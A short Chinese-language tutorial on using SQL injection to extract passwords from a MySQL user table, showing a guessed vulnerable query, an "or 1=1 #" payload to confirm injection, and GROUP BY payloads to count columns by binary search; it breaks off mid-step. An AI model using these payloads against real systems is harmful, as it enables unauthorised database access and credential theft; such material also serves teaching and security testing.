SQL注入获取MySQL用户表密码

1、首先确定：能进行SQL注入

比如推测：
	select id, username from like '%username%'

进行SQL注入尝试：username%' or 1=1 #
	select id, username from like '% username%' or 1=1 # %'

2、确定了：能进行SQL注入后

用 group by 验证（字段个数）使用二分法

尝试一：
	username%' or 1=1 group by 5#  
	
尝试二：
	username%'